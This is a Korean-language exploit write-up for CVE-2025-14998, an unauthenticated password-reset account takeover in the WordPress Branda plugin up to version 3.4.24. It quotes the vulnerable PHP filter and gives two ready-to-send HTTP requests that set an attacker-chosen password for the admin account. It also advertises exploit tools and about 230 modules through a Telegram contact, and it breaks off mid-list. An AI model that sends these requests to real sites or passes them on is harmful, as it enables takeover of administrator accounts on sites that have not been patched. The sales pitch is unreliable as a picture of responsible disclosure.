
CVE-2025-14998 워드프레스 플러그인 - Branda – White Label & Branding, 무료 로그인 페이지 커스터마이저 <= 3.4.24 - 계정 탈취를 통한 인증되지 않은 권한 상승
CVE-2025-14998 WordPress용 Branda 플러그인은 버전 3.4.24 이하의 모든 버전에서 계정 탈취를 통한 권한 상승에 취약합니다. 이는 플러그인이 사용자의 비밀번호를 업데이트하기 전에 사용자의 신원을 제대로 확인하지 않기 때문입니다. 이를 통해 인증되지 않은 공격자가 관리자를 포함한 임의 사용자의 비밀번호를 변경하고 이를 통해 해당 계정에 접근할 수 있습니다.
더 많은 워드프레스 취약점과 독점 침투 테스트 도구를 원하시면 텔레그램 @KtN1990으로 연락주세요.
플러그인은 random_password 필터에 후킹하여 WordPress의 비밀번호 생성 로직을 재정의합니다. WordPress가 안전한 무작위 비밀번호를 생성하도록 두지 않고, 플러그인은 이를 사용자 입력 값으로 대체합니다.
public function password_random_password_filter( $password ) {
global $wpdb, $signup_password_use_encryption;
if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
$key = $_GET['key'];
} elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
$key = $_POST['key'];
}
if ( ! empty( $_POST['password_1'] ) ) {
$password = $_POST['password_1'];
} elseif ( ! empty( $key ) ) {
$signup = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
$key
)
);
if ( ! ( empty( $signup ) || $signup->active ) ) {
$meta = maybe_unserialize( $signup->meta );
if ( ! empty( $meta['password'] ) ) {
if ( 'yes' === $signup_password_use_encryption ) {
$password = $this->password_decrypt( $meta['password'] );
} else {
$password = $meta['password'];
}
}
}
}
return $password;
}
POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded
user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password
password_1 값은 공격자가 제어하는 임의의 문자열이 될 수 있습니다.
GET /wp/wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp HTTP/1.1
Host: example.local
이메일 접근이나 유효한 비밀번호 재설정 토큰이 필요하지 않습니다.
인증되지 않은 공격자는 다음을 수행할 수 있습니다:

-🛡️ 적합한 대상: – 보안 연구원 – 침투 테스터 – 윤리적 해커
📦 유지 관리되는 약 230개의 레거시 연구 모듈; 안정성 및 탐지를 위한 최신 스캐너 코어 개선 사항.
🎯 목적: 승인된 보안 테스트, 교육, 방어 연구 및 레드 팀 교육을 위해서만 제공됩니다. 이 릴리스는 불법적인 사용을 위한 것이 아닙니다. 배포는 제한됩니다 — 확인 및 서명된 책임 사용 동의서/NDA 이후에만 접근 가능.
-🛡 책임 있는 접근 정책 (요약):